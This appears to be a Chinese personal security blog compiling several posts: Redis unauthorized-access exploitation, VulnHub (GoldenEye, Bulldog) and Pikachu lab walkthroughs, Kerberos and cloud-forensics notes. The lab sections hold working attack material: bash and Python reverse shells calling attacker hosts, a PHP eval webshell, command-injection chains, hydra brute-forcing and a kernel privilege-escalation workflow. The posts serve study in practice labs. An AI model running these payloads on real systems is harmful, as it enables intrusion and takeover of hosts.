0%

前言

有些特殊字符没法以可打印字符的形式打印出来复制时,先编码一下,与url编码的原理相同

使用及总结

使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@192: echo swanq > 1
root@192: echo circle > 2

root@192: diff -u 1 2 | base64 > patch

root@192: cat patch
LS0tIDEJMjAyMS0wNy0wMSAyMjoyNDoxNy4wNzc3Mjc0MTAgKzA4MDAKKysrIDIJMjAyMS0wNy0wMSAyMjoyNDoyMy43OTc3Mjc2NzQgKzA4MDAKQEAgLTEgKzEgQEAKLXN3YW5xCitjaXJjbGUK

root@192:/home/file# cat patch| base64 -d
--- 1 2021-07-01 22:24:17.077727410 +0800
+++ 2 2021-07-01 22:24:23.797727674 +0800
@@ -1 +1 @@
-swanq
+circle

总结

以为base64会有什么神奇的功能,好吧,是我想多了…

前言

第二次在总结redis未授权利用方式写crontab时,使用的是Ubuntu,发现反弹shell失败。然而第一次用CentOs时却没有此问题出现。特此刨根问底总结一下原因。

0x01 cron服务和crontab命令

1.cron和crontab

Linux存在需要定期执行的任务-例行性工作,分为用户设置的例行性任务和系统层面的例行性任务,其中:

  • cron:执行计划命令的守护程序,会每分钟检查是否有任务需要执行
  • crontab:维护某用户crontab 文件的命令
  • cron 会查找/var/spool/cron/crontabs/ 目录下的文件及 /etc/crontab 文件中所有 crontab 命令,并读入内存中。

具体crontab和cron用man自行查看

2.ubuntu的cron程序位置

ubuntu下可利用的cron包括:

  • /var/spool/cron/crontabs/:该目录下定义的任务计划文件会被执行,前提是该任务计划文件的权限必须为600

  • /etc/crontab:该文件里面的任务计划可直接执行,负责调度各种管理和维护任务

  • /etc/cron.d/*:存放任何要执行的crontab文件或脚本。该目录下任意文件都可被当作任务计划执行,且避免原先任务计划文件被覆盖

  • 还可以把脚本放在其他目录,包括

    /etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。

/etc/crontab参数含义:

m:分钟 - 从0到59的整数

h:小时 - 从0到23的整数

dom:天 - 从1到31的整数 (必须是指定月份的有效日期)

mon:月 - 从1到12的整数 (或如Jan或Feb简写的月份)

dow:周一到周日 - 从0到7的整数,0或7用来描述周日 (或用Sun或Mon简写来表示)

user:指的是执行命令的用户

command: 需要执行的命令

表示参数所有可用的值,如果为5个,就代表每分钟执行一次

/:指定步进设置。“/”表示步进值,比如*/2 * * * *代表每两分钟执行一次任务

0x02 查找原因

查看/var/log/syslog可找到相关日志。因syslog记录系统所有日志信息。

1.写/var/spool/cron目录时

提示命令执行出现错误,ubuntu会将这些错误信息输出到ubuntu系统的邮件服务器,但是ubuntu系统默认没有安装邮件服务器,所以导致了错误

错误原因包括:

  1. /var/spool/cron/crontabs/权限不对劲,并非600
  2. ubuntu的cron的shell环境为/bin/sh

针对原因2可采用第二种方式:

2.写/etc/cron.d目录时

此时step1先更改/bin/sh为/bash,step2使用bash反弹shell。

1
2
3
4
5
6
7
8
set aaa "nnnn* * * * * root ln -s -f bash /bin/shnnnn"
config set dir /etc/cron.d
config set dbfilename step1
save
set bbb "nnnn* * * * * root bash -i >& /dev/tcp/192.168.0.101/7777 0>&1nnnn"
config set dir /etc/cron.d
config set dbfilename step2
save

成功创建任务计划step1和step2,但是还是无法反弹shell。错误日志显示语法错误

原因:redis向任务计划文件里写内容出现乱码而导致的语法错误。

  • centos会忽略乱码去执行格式正确的任务计划
  • ubuntu并不会忽略这些乱码,所以导致命令执行失败,作为正常用户向/etc/cron.d目录下写任务计划文件时,命令可以正常执行。利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据

0x03 复现

具体环境搭建不再赘述

靶机:CentOS 192.168.140.132

攻击机:Kali 192.168.140.130

CentOS启动redis服务:

kali监听本机9999端口的返回任务

kali写入定时任务

写入成功,直接拿到root下的bash

0x04 总结

ubuntu确实设计比centos安全,建议遇到ubuntu还是用其他两种方式。具体利用方式参考上一篇文章。

参考

  1. https://cloud.tencent.com/developer/news/301606
  2. https://www.dazhuanlan.com/2019/11/18/5dd20bda178db/
  3. https://www.anquanke.com/post/id/241146
  4. Linux日志排查:https://baijiahao.baidu.com/s?id=1613381635234443098&wfr=spider&for=pc

前言

之前总结过的内容被自己的windows defender杀掉了,现哭着再总结一次。起因源于之前参加hvv遇到此洞,故而作此总结。

0x01 概述

用ANSI C写的redis作为非关系型内存数据库,是key-value存储系统,且支持主从服务器同步。redis漏洞产生的原因一般是:

  • 直接暴露在公网:绑定在 0.0.0.0:6379,且没有进行添加防火墙规则、避免其他非信任来源IP访问等相关安全策略
  • 没有设置密码认证(一般为空):可以免密远程登录redis服务

漏洞可能产生的危害:

攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以通过恶意执行flushall来清空所有数据
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器

下图为redis拿shell的三种方式及其条件:

0x02 环境搭建

靶机:Ubuntu 192.168.140.129

攻击机:kali 192.168.140.130

kali一键安装redis,sudo apt install redis

Ubuntu debian或其他环境安装指南:

安装:

1
2
3
4
5
6
7
8
9
tar -xzvf redis-6.0.1.tar.gz
mv redis-6.0.1 /usr/local/redis
cd /usr/local/redis
make & make install

# 任意目录启动
cp redis-server /usr/bin
cp redis-cli /usr/bin
cp redis.conf /etc

配置:

1
2
3
4
5
6
7
8
9
10
11
# 去掉仅对内网开放,加#
# bind 127.0.0.1
# redis关闭守护进程
daemonize no
# 关闭保护模式
protected-mode no

# 重启配置文件
redis-server redis.conf
# 关闭防火墙
ufw disable

当然,别忘了,ubuntu要启动redis-server服务。

为保证后面写入计划任务,此处以root权限启动redis

0x03 利用方式

1. 写webshell

条件:

存在web目录

晓得绝对路径

当然还要有写入权限

流程:

实际渗透过程中,这个方法通常需要搭配 phpinfo 等信息使用

1
2
3
4
5
6
7
8
redis-cli -h  192.168.140.129 or 域名
config set dir /var/www/html/
# 设置写入文件
config set dbfilename 1.php
# 以键值对的形式写入一句话木马
set webshell "<?php @eval($_POST['swanq']);?>"
# 保存写入硬盘
save

最后用蚁剑连接即可:http://192.168.127.139/1.php

2. 写ssh公钥

原理:Redis 未授权访问通过写 /root/.ssh下的authorized_keys 来拿权限

条件:

对外开启ssh服务

Redis 服务运行在 root 用户下(否则还要猜测用户)

流程:

生成本机ssh公私钥

为防止脏数据污染公钥,在公钥内容上下加空行。之后将公钥写入key.txt

shell的echo :

用于字符串输出,其注意事项如下图所示:

redis远程连接靶机,将公钥文件key.txt写入靶机

-x:read last argument from STDIN

cat key.txt | redis -h 192.168.140.129 -x set crack:

  • cat key.txt 输出 作为后面的输入

  • -x 读取标准输入

  • set crack 是将读取的输入作为crack此参数内容

    相当于把参数crack参数和-x读的数据组了个命令执行

找到靶机redis备份路径:

更改redis备份路径为ssh公钥存放目录/home/glory/.ssh,默认情况为/root/.ssh。并设置上传公钥文件名为authorized_keys

config:可查看或设置配置项

dbfilename:备份文件

SSH远程登陆成功

3. 在crontab中写定时任务

条件:

有可写计划任务的权限,将文件写入到计划目录下执行

多见于CentOs使用

流程:

攻击机监听本机9999端口,接收之后的反弹shell

利用redis以root权限运行有可写计划任务的权限,写crontab

1./var/spool/cron目录存储每个用户生成的crontab文件

2.直接往当前用户的crontab中写反弹shell,必须要换行

3.* * * * * myCommand:1分钟执行一次myCommand

4.n个数大于2,否则文件内容里面的任务计划会出现乱码导致命令执行失败

观察到此时并无反弹shell。但是确实写入成功。

具体排查问题另起一篇博客说明。

0x02 如何防护

1.禁止远程使用一些高危命令

我们可以通过修改redis.conf文件来禁用远程修改DB文件地址

1
2
3
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

2.低权限运行Redis服务

为Redis服务创建单独的userhome目录,并且配置禁止登陆

1
groupadd -r redis && useradd -r -g redis redis

3.为Redis添加密码验证

我们可以通过修改redis.conf文件来为Redis添加密码验证

1
requirepass mypassword

4.禁止外网访问 Redis

我们可以通过修改redis.conf文件来使得Redis服务只在当前主机可用

1
bind 127.0.0.1

参考:

  1. 下载链接:http://download.redis.io/releases/redis-6.0.1.tar.gz
  2. https://hejueyun.github.io/posts/2218125b/
  3. https://www.freebuf.com/vuls/223432.html
  4. redis相关:https://www.anquanke.com/post/id/241146
  5. corntab命令参考:https://www.runoob.com/w3cnote/linux-crontab-tasks.html

前言

定个小目标,把50台vulhub玩一遍,探探其中奥秘。当然最终目标是获取root权限或者admin账号密码。本靶场目标是获取root目录下flag.txt文件。

0x01 靶机环境

靶机:GoldenEye 192.168.140.133

攻击机:kali 192.168.140.128

0x02 信息收集

获取目标IP

首先需要找到攻击目标,nmap -sP 192.168.140.0/24

端口及服务扫描

找到IP地址之后去探测目标机子上开了哪些服务和端口

1
nmap -sV -vv -p 1-65535 192.168.140.133

共开放了4个端口,80端口web服务不可以访问。第一次遇到这种问题。nmap既然可以扫描到靶机,说明攻击机和靶机之间可以ping通,再试试宿主机ping虚拟机,发现不可以,查询ip之后,发现宿主机和虚拟机并不在同一个网段上,那就改了罢

网站信息收集

成功ping通,访问web服务,同时也解决掉了之前MobaXterm的疑惑

看到此图的提示,进入/sev-home/目录中,发现登陆框,一定是要找相关用户名和密码。回到刚才的首页,F12看到terminal.js。

通过报错信息也可看到中间件为apache

访问terminal.js看到以下信息

用burp的decoder模块解密密码,登陆成功,此处用户名一定是小写。

加密格式总结:

  • Unicode:\u开头
  • UTF8/URL:%开头
  • UTF16:\x开头
  • &#73;: 73为ASCII码,对应I

靶机在某个较高端口上开了pop3服务,此处指55007。pop3为邮件服务器

terminal.js中写道,make sure you update your default password(建议改成make sure to update your passwd),也就是说目前是默认密码。用户名为boris,暴力破解

1
hydra -L 1.txt -P /usr/share/wordlists/fasttrack.txt  192.168.140.133 -s 55007 pop3

密码为 secret1!

通过nc telnet连接pop3,登陆并查看boris的邮件信息

其中三封邮件内容如下,

root发给boris的邮件

natalya发给boris的邮件

alec发给boris的邮件

再查看natalya的邮件有什么信息。

得到用户名密码、服务器域名和网址,可在/etc/hosts可添加信息后访问

1
2
3
4
5
6
username: xenia
password: RCP90rulez!

Domain: severnaya-station.com/gnocertdir

point this servers IP to severnaya-station.com in /etc/hosts.

打开本机/etc/hosts。添加域信息

登陆网站看到登陆框,此处是一个开源的CMS系统moodle,用刚才得到的用户名和密码登陆即可

找到一封相关的邮件,邮件中标注doak的用户名:

知道用户名继续hydra爆破,登陆邮件服务器:

此处因为实习原因,电脑更换,内网IP有所差,但实验内容不变。IP变为如下内容:

靶机:GoldenEye 192.168.221.128

攻击机:kali 192.168.221.130

得到doak的CMS的账户密码:

登陆CMS发现在doak隐私文件目录下for james文件下有一个txt文本,文本内容如下所示:

找到一个jpg文件位于以下位置:

使用wget下载到本地,并用strings或exiftool检查图片内容,发现Image Description字段为可疑base64

1
python -c 'import base64;s=base64.'

解码后为xWinter1995x!。到此得到管理员的账号密码,所有人信息一览无余

账号:admin

密码:xWinter1995x!

0x03 漏洞探测及利用

查找历史漏洞

已知Moodle版本为2.2.3。可能存在远程命令执行漏洞CVE-2013-3630,msf中存在此payload,不过打不通。

远程命令执行

首先Home -> Site administration -> Plugins -> Text editors -> TinyMCE HTML editor,将Spell engine更换为PSpellShell。

在Home -> Site administration -> Server -> System paths的Path to aspell处上传代码:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.187.128",8099));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

监听本机8099端口

并在Home -> My profile -> Blogs -> Add a new entry中新建blog,输入任意字符,点Toggle Spellchecker。即可监听成功

靶机上有python 考虑用python获取TTY,否则无法执行某些命令,并查看用户名、内核信息和ID

1
python -c 'import pty; pty.spawn("/bin/bash")'

根据之前获取的内核版本在Exploit-DB中找EXP

37292.c提权

建立HTTP服务传输EXP

1
python3 -m  http.server 8000

进入靶机/tmp目录下载EXP

执行后提示gcc并没有安装,更改EXPgcc为cc编译

然后重新下载shell并编译

运行EXP成功提权,在root目录下找到.flag.txt,注意不是flag.txt

we get it!

0x04 复盘

  • 此处apache中间件无用武之地

  • 用户名小写我是没想到

参考:

  1. 靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
  2. 文章参考:https://programmersought.com/article/93378040168/#_252
  3. https://www.shawroot.cc/1842.html
  4. nc实现telnet连接pop3:https://blog.csdn.net/LL458524906/article/details/74635272
  5. aspell参考:https://cloud.tencent.com/developer/article/1764068
  6. tty-teletypewriter:https://segmentfault.com/a/1190000038466327

0x00 前言

windows认证协议主要包括两种,一种是NTLM,一种是Kerberos.

  • NTLM

    1. 使用在 Windows NT 和 Windows 2000 Server(or later)工作组环境

    2. 基于挑战、应答的Windows 早期的认证机制,因其安全性不高,从 Windows 2000 开始已经默认不再使用

  • Kerberos

    1. 使用在

    2. 集中式的认证方式,整个认证过程中总共要涉及到三方:客户端、服务端和KDC

0x01 Kerberos简介

Kerberos认证中,最主要的问题是如何证明“你是你”的问题,当一个Client去访问Server上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截/篡改也不影响通讯的安全性,这正是Kerberos解决的问题。在域渗透过程中Kerberos协议的攻防也至关重要。

1.Kerberos协议框架

在Kerberos协议中主要是有三个角色的存在:

  • 访问服务的Client

  • 提供服务的Server

  • KDC(Key Distribution Center)密钥分发中心

    其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。

如果把Kerberos中的票据类比为一张火车票,那么Client端就是乘客,Server端就是火车,而KDC就是车站的认证系统。如果Client端的票据是合法的(由你本人身份证购买并由你本人持有)同时有访问Server端服务的权限(车票对应车次正确)那么你才能上车。当然和火车票不一样的是Kerberos中有存在两张票,而火车票只有一张。

由上图中可以看到KDC又分为两个部分

Authentication Server: AS的作用就是验证Client端的身份(确定你是身份证上的本人),验证通过就会给一张TGT(Ticket Granting Ticket)票给Client。

Ticket Granting Server: TGS的作用是通过AS发送给Client的票(TGT)换取访问Server端的票(上车的票ST)。ST(ServiceTicket)也有资料称为TGS Ticket,为了和TGS区分,在这里就用ST来说明。

KDC服务框架中包含一个KRBTGT账户,它是在创建域时系统自动创建的一个账号,可以暂时理解为他就是一个无法登陆的账号,在发送票据的时候会使用到其hash。

2. Kerberos认证-ticket system

流程当Client想要访问Server上的某个服务时,需要先向AS证明自己的身份,然后通过AS发放的TGT向Server发起认证请求,这个过程分为三块:

The Authentication Service Exchange:Client与AS的交互

The Ticket-Granting Service (TGS) Exchange:Client与TGS的交互

The Client/Server Authentication Exchange:Client与Server的交互

(1)The Authentication Service Exchange

KRB_AS_REQ

Client->AS:发送 Authenticator1(Client 加密 TimeStamp)

第一步 Client 先向 KDC 的 AS 发送 Authenticator1,内容为通过 Client Hash 加密的时间戳、ClientID、网络地址、加密类型等内容。

KRB_AS_REP

AS-> Client:发送 Client 加密的 sessionkey-as 和票据 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)

在 KDC 中存储了域中所有用户的密码 HASH,当 AS 接收到 Client 的请求之后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。验证成功后返回给 Client 由 Client 密码 HASH 加密的 sessionkey-as 和 TGT(由 KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp 等信息)。

(2)TheTicket-Granting Service (TGS) Exchange

KRB_TGS_REQ

Client ->TGS 发送 Authenticator2 (sessionkey-as 加密 TimeStamp) 和票据 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)

Client 接收到了加密后的 Sessionkey-as 和 TGT 之后,用自身密码解密得到 Sessionkey-as,TGT 是由 KDC 密码加密,Client 无法解密。这时 Client 再用 Sessionkey-as 加密 TimeStamp 和 TGT 一起发送给 KDC 中的 TGS(TicketGranting Server)票据授权服务器换取能够访问 Server 的票据。

KRB_TGS_REP

TGS-> Client 发送 密文 1(sessionkey-as 加密 sessionkey-tgs) 和 票据 ST(Server 密码 HASH 加密 sessionkey-tgs)

TGS 收到 Client 发送过来的 TGT 和 Sessionkey-as 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT 密码解密 TGT。一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期,且原始地址是否和 TGT 中保存的地址相同。验证成功之后将用 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的 Sessionkey-tgs 发送给 Client。

(3)TheClient/Server Authentication Exchange

KRB_AP_REQ

Client ->Server 发送 Authenticator3(sessionkey-tgs 加密 TimeStamp) 和票据 ST(Server 密码 HASH 加密 sessionkey-tgs)

Client 收到 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的 sessionkey-tgs 之后用 sessionkey-as 解密得到 sessionkey-tgs,然后把 sessionkey-tgs 加密的 TimeStamp 和 ST 一起发送给 Server。

0x02 Kerberoasting-对kerberos的渗透

在整个渗透的过程当中,KDC密钥分发中心是我们渗透的重点,因为KDC存储了域中所有用户的密码哈希。

介绍 Kerberos 的认证流程时说到,在 KRB_TGS_REP 中,TGS 会返回给 Client 一张票据 ST,而 ST 是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为 RC4 方式加密时,我们就可以通过爆破在 Client 端获取的票据 ST,从而获得 Server 端的密码。

下图为设置 Kerberos 的加密方式,在域中可以在域控的「本地安全策略」中进行设置:

设置RC4 方式加密。

设置完成之后运行里输入「gpupdate」刷新组策略,策略生效。

0x0 参考

https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberos.html

https://www.freebuf.com/articles/system/196434.html

https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.html

https://www.notion.so/e977d98f5bd740db87ac4e5cae38a442#57ac8897745f4a05a570415401ee7d5f

前言

由于目前所做项目及论文的原因(具体不便细说),需要调研云取证,刚好在此做一总结。本篇文章主要是对云环境中电子数据的分析技术作以总结。

0x01 概述

Ruan K教授从技术、组织和法律三个维度划分云取证领域相关问题。

  • 技术维度:云计算环境中进行电子数据取证的具体过程和试用的技术和工具。
  • 组织维度:云计算环境中包含的角色,包括云服务提供商、云服务用户、云服务中介、审计人员和取证人员,不同的角色在云取证活动中的职责不同,他们之间的交互可以促进云取证的实施。法律维度主要关注在涉及跨多个管辖区的法律问题。

云计算在电子取证领域的领域包括定位电子数据所在虚拟机的物理位置、设计云取证模型等。设计云取证模型是当前云取证研究的主要方向之一,对于云取证工作具有重要的指导意义。本文主要研究云中电子数据的分析技术。

0x02 云计算(Cloud Computing)

云计算可以看作是并行计算、分布式计算和网格计算等计算机技术和网络技术的融合和发展。简单来说,云计算是通过网
络将庞大的计算处理程序自动分拆成无数个较小的子程序,再交由多部服务器所组成的庞大系统,经搜寻、计算、分析之后将
处理结果回传给用户。使用这项技术,网络服务提供者可以在数秒之内,达成处理数以千万计甚至亿计的信息,达到和超级计算
机同样强大效能的网络服务。

0x03 云环境中电子数据的分析技术研究

云环境下的电子数据分析:取证调查人员借助工具、算法对涉案的电子数据进行分析的过程。主要包括

  • 数据源分析
  • 数据恢复
  • 事件重构
  • 数据检索

云环境中的电子数据量大、数据格式多、多源证据时间戳不一致、网络环境复杂等特性为分析证据带来极大的挑战。

  1. 数据量巨大:目前的研究思路已经从分析所有数据的取证转变为用机器学习分析取证

  2. 数据源分析困难:借助SDN网络取证分析来实现网络攻击溯源;

然而目前提出的方法均存在局限性,无法有效解决目前的困境。云环境中电子数据的分析方法臻待进一步研究。

参考:

  1. https://www.secrss.com/articles/11419

前言

今日突然冒出渗透靶机的想法,突然一看,前人早已栽好了树。

每日分享:原来在孩提时期就已经看过余华的活着,只是当时读懂活着的人不是我。

小狗拼命的想叫醒他的同伴,可他还不知道同伴可能再也醒不过来了

每天都有人跟你一样在注视着生活中的点滴

最后献上红楼的一句箴言:假亦真时真亦假,无为有处有还无

不知道既喜欢红楼又喜欢昆曲,把后半辈子都献给教授外国人红楼梦的他,心境又是如何呢

人生本来就是尝试的过程,正确与否在你以为

也罢,继续写博客辽

0x01 资产收集

靶机:Ubuntu16.04:192.168.127.134

攻击机:kali 2021.1:192.168.127.133

愣是想不起来这个命令叫啥:lsb_release -a

1
2
3
4
5
6
7
8
9
# 主机发现
# ping scan
nmap -sn 192.168.127.0/24

# 端口扫描
masscan --rate=10000 --ports 0-65535 192.168.127.134

# 探究端口服务
nmap -sV -T4 -O -p 23,80,8080 192.168.127.134

可以看到python版本

1
2
# 扫描子域名
dirb http://192.168.127.134

去康康admin和dev分别是什么服务。访问admin会看到无验证码的登陆界面,而dev必须登陆之后才可以看到。

dev页面有多个邮箱,去康康dev的源码,可能会md5加密的密码存储,一看还真有。解密之后尝试登陆admin页面,发现后两个账号可以登陆进去。不过账号是邮箱的前面,也就是姓名,登陆进去之后,发现dev界面的web shell也有了权限。其实这个界面类似于拿到一台被限制命令白名单的机子。尝试绕过吧。

0x02 漏洞检测

远程命令执行漏洞检测

使用;同时执行多个命令,被过滤;

使用**&,&&,|**同时执行多个命令,成功。

查看敏感目录,发现3个用户:

0x03 漏洞利用

试试反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 在kali的/var/html/www目录下,搭建web服务
python -m SimpleHTTPServer 80
# 攻击机监听1234端口
nc -lvnp 1234

# 靶机执行wget命令尝试连接
pwd & wget http://192.168.127.133

# 靶机下载shell文件
ls & wget http://192.168.56.133/shell.py
# 靶机执行shell
ls & python shell.py
# 靶机删除shell
ls & rm -rf shell.py

其中反弹shell脚本shell.py内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
import os
import socket
import subprocess

# create an INET, STREAMing socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# now connect to the web server on port 1234
s.connect(("192.168.127.133", 1234))
os.dup(s.fileno(), 0)
os.dup(s.fileno(), 1)
os.dup(s.fileno(), 2)
p = subprocess.call(["/bin/bash", '-i'])

进入home,查看其他用户:bulldogadmin django

进入bulldogadmin,查看所有文件,此时还是ls -la找到隐藏目录.hiddenadmindirectory。找到可执行文件customPermissionApp。strings查看其中字符

猜测密码SUPERultimatePASSWORDyouCANTget。不过此处H到底代表什么暂时还不清楚。

0x04 提权/后门维持

此时无法提权,需要打开新终端

1
2
3
4
# 打开新终端
python -c 'import pty; pty.spawn("/bin/bash")'
# 提权
sudo -i

0x05 总结

  1. 习惯查看网页源码以及查看bash下所有文件ls -la

  2. && & |的妙用

  3. 当cat查看某些文件出现乱码时,可以考虑用strings

  4. 一般反弹的shell不如终端,一般拿到后都先用python弹一个终端出来

    1
    2
    python -c "import pty; pty.spawn("/bin/bash")"
    sudo -i
  5. 反弹shell过程

  6. 知识点总结:

    • Python -m :mod,run library module as a script

    • SimpleHTTPServe:use Python SimpleHTTPServer to turn any directory into a simple HTTP web server.

    • python http服务器运行在80端口

    • nmap -sn:ping scan

    • masscan –rate=10000 –ports 0-65535 192.168.127.134:

      –rate=10000 意思是10kpps(packet per second),每秒一万个数据包

    • wget:非交互式网络文件下载工具

什么是六论视觉

六论视觉:强弱是相对论,知识是认识论(敢闯无人区),失败是实践论,决策是矛盾论(多目标,化解矛盾才是最重要的),发展是进化论,管理是方法论(球不能停在自己脚下)

网络安全人才的培养的六论视觉:能力是相对论,安全是认识论,攻防是实践论,选择是矛盾论,水平是进化论,鉴别是进化论.

  1. 安全是认识论:
    超过5000就构成犯罪。所以会用到靶场(类比少林弟子)。

人才培养

技能:知识(西电)+方法(方班)

  • 知识:事实 常识 规则

  • 方法:思辨 质疑 创新

    迅速适应企业的要求,迅速补上知识。自信的提升就是方法的提升。我觉得这么干是对的就是对的。美国一直行走在无人区。也要抬头看看是否真的无人,不怕走无人区,睁大眼睛可能有人做得比我好。

    思辨:如小萁所言,把查到得信息变为知识为思辨的过程。需要训练。思辨才是看难文章的敲门砖。你最会什么?你最懂的知道什么?把一件事思辨的搞明白。会思辨之后,再看顶会(挑战难度)。听完之后,迅速提炼自己的问题。保证心里有预期答案。为什么没按。不应该有答案,也是提高。特别坚信他是错的。每次讲完做总结。

靶场

靶场:vulhub pikachu raven sqli-lab

内打内属于靶场(CTF);内打外属于护网;外打外属于系统测试(方班演武堂);外打内设备测试(大量人众测)。

军队搞CTF赛很奇葩,每年参加CTF没什么意义(相当于奥赛其实,对于初学者),为了比赛而比赛不可取,应该参与真正的实战。

没有xss等。看的是逻辑漏洞,整个认证是在前端,认证应该在后端。改了应用程序,只看底层造成的。

不要培养专职的CTF选手。仅限在学校

自我提高

最牛的要真的牛

状态:

有一个做的特别深,便会知道怎么做.

每天激情状态

需要空闲期去考虑自己下一步要做什么,单目标函数还是双目标函数。

喜欢理论支持博士,喜欢实践鼓励创业

先去公司就业,积累资源、人脉,然后去创业。

目标:

靶场–>对应的CTF赛题–>实战、SRC。哪块弱补哪块。

安排:

  1. 对于自己:各种靶场训练,然后实操。
  2. redis–>渗透测试 搞清楚,一步一步来
  3. 去拿到各种SRC的证书。
  4. 知识积累,突变(量变转质变)web后期一定会是二进制.–横向贯彻(各个方向都要)
  5. 未接触领域,善于找标签:岗位体系–>需要什么知识体系–>将自己的标签和他对应上。标签需要很详细到某方面,类似于安全设备配置这样,而不是安全配置.
  6. 每天一篇:电子取证领域的论文

为何高分低能?

考试是采样,高分低能就是这样.采样是点,然而交流或者应用是连续.采样题是无聊的,宽泛的,面试其实也是,都是连续交流,其实开卷反而更难.

参考:

认证业务平台:http://cstc.cncstea.cn

http://examanage.cncstea.cn

前言

最近需要找实习了,来Pikachu靶场再复习一下重要类型的漏洞,具体搭建指南网上应有尽有,此处不再赘述。

Burt Force

相关:

安全认证策略:
用户密码设置是否足够复杂

每次认证是否使用安全验证码

对尝试登陆的行为是否进行判断和限制(连续5次错误登陆锁定账号等)

是否采用双因素认证

经验:

暴力破解流程

  • 找到登录接口的脆弱性
    • 尝试登录—抓包—观察验证元素和response,判断是否可以暴力破解
  • 优化字典
  • 自动化工具

生成高效字典

  • 比如常用的用户名/密码TOP500
  • 脱裤后的账号密码(社工库)
  • 根据特定的对象(比如手机、生日和银行卡号等)按照指定的规则来生成密码

字典优化技巧

  • 根据注册提示进行优化,如注册要求密码8位以上,就去掉少于8位的密码
  • 爆破管理后台时,账号是 admin / administrator / root 的可能性较高

验证码绕过(on server)服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if(isset($_POST['submit'])) {
if (empty($_POST['username'])) {
$html .= "<p class='notice'>用户名不能为空</p>";
} else {
if (empty($_POST['password'])) {
$html .= "<p class='notice'>密码不能为空</p>";
} else {
if (empty($_POST['vcode'])) {
$html .= "<p class='notice'>验证码不能为空哦!</p>";
} else {
// 验证验证码是否正确
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "<p class='notice'>验证码输入错误哦!</p>";
//应该在验证完成后,销毁该$_SESSION['vcode']
}else{

$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];

$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);

$line_pre->bind_param('ss',$username,$password);

if($line_pre->execute()){
$line_pre->store_result();
//虽然前面做了为空判断,但最后,却没有验证验证码!!!
if($line_pre->num_rows()==1){
$html.='<p> login success</p>';
}else{
$html.= '<p> username or password is not exists~</p>';
}
}else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}
}
}
}
}

源码中比较完验证码后,并没有销毁该验证码。所以猜测验证码一直有效,可以不停重放数据包。

所以可以通过验证码重放,来绕过验证码爆破用户民共和密码。

成功爆破出目前pikachu的用户及密码

验证码绕过(on client)服务器

可以看到用js生成随机字符作为验证码候选,然后创建验证码并进行验证。所以在本案例下,可利用知道用户名或密码的前提下,可以对另一个参数进行暴力枚举。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<script language="javascript" type="text/javascript">
var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的

for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}

function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}


createCode();
</script>

Token防爆破

抓包发现有 token

Repeater后可以看到返回包里有新的 token,即下一次登陆要使用的 token 值在此次登陆的返回包里,而且是明文传输,所以爆破时一定是单线程。

intruder模块:设置Grep Extract

设置线程为1

添加返回包里的 token 值,有效载荷选递归搜索

成功爆破

XSS

对XSS的熟悉程度取决于对浏览器机制和HTML、JS的了解程度。这部分涉及内容较多,需要多加练习。

反射型XSS(get)

比较好绕过,F12更改输入框maxlength,或者直接在URL中补全</script>即可。js代码正确即可被浏览器执行。

反射型XSS(post)

此处同上,只不过URL不显示

存储型XSS

注入语句会写入数据库中,每次进入都会执行

同上

DOM型XSS

